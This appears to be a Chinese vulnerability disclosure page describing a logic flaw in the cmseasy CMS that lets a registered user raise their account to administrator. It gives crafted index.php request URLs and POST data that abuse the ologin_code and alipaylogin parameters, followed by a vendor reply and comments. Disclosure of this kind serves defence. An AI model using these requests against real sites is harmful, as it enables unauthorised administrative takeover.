漏洞概要
关注数(19)
关注此漏洞
漏洞标题: cmseasy 逻辑缺陷可升级普通用户为管理员(shell还会难吗)
提交时间: 2014-11-10 10:01
公开时间: 2015-02-08 10:02
漏洞类型: 设计缺陷/逻辑错误
危害等级: 高
自评Rank: 20
漏洞状态:
厂商已经确认
漏洞详情
披露状态:
2014-11-10: 细节已通知厂商并且等待厂商处理中
2014-11-10: 厂商已经确认,细节仅向厂商公开
2014-11-13: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2015-01-04: 细节向核心白帽子及相关领域专家公开
2015-01-14: 细节向普通白帽子公开
2015-01-24: 细节向实习白帽子公开
2015-02-08: 细节向公众公开
简要描述:
cmseasy 逻辑缺陷可升级普通用户为管理员
详细说明:
user_act.php(130-155):
第一步 我们注册一个为test 密码为 111111的用户
然后发送url:
http://localhost/uploads/index.php?case=user&act=respond&ologin_code=groupid
postdata:
username=test&password=111111&submit=xxx
第二步:
$post[$classname] = session::get('openid');
这里 我们给$post传递进去了groupid 但是有个问题 session::get('openid') 并不存在 所以执行后 test用户的groupid 为0
那么下来我们在继续找一下
line 157-172:
这里我们看看是不是要写session 其他的认证信息 我们都忽略 我们只关心这里的openid生效不 可控不
当$classname为alipaylogin.php时候 我们跟进去
if(true || $verify_result) {//验证成功 这一行我们让它永远成立 因为在这之前全是配置信息的东西
我们直接看这里
发现没有openid完全可控制
我们发送url:
http://localhost/uploads/index.php?case=user&act=respond&ologin_code=alipaylogin&user_id=2&real_name=test
这时候我们的openid被设置为了2
那么我们回头在看看
发送url:
http://localhost/uploads/index.php?case=user&act=respond&ologin_code=groupid
postdata:
username=test&password=111111&submit=xxx
这时候 看看 我们的test用户组为:
我们在登陆后台看看
漏洞证明:
修复方案:
漏洞回应
厂商回应:
危害等级:低
漏洞Rank:1
确认时间:2014-11-10 10:16
厂商回复:
漏洞已经通过其他渠道得知,切所有描述相同。。。
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值
漏洞评价(共0人评价):
评价
-
2014-11-10 10:03 |
U神
( 核心白帽子 |
Rank:1360 漏洞数:150 | 乌云核心菜鸟,联盟托管此号中,欢迎加入08...)
2
-
2014-11-10 10:08 |
泳少
( 普通白帽子 |
Rank:255 漏洞数:83 | ★ 梦想这条路踏上了,跪着也要...)
1
-
2014-11-10 10:15 |
玉林嘎
( 普通白帽子 |
Rank:941 漏洞数:108 )
1
-
2014-11-10 10:23 |
luwikes
( 普通白帽子 |
Rank:548 漏洞数:82 | 潜心学习~~~)
1
-
2014-11-10 10:24 |
進撃のDanny
( 普通白帽子 |
Rank:146 漏洞数:14 | )
1
目测是这个 http://loudong.360.cn/vul/info/id/31552
-
2014-11-10 16:12 |
laoyao
( 路人 |
Rank:14 漏洞数:5 | ด้้้้้็็็็็้้้้้็็็็...)
1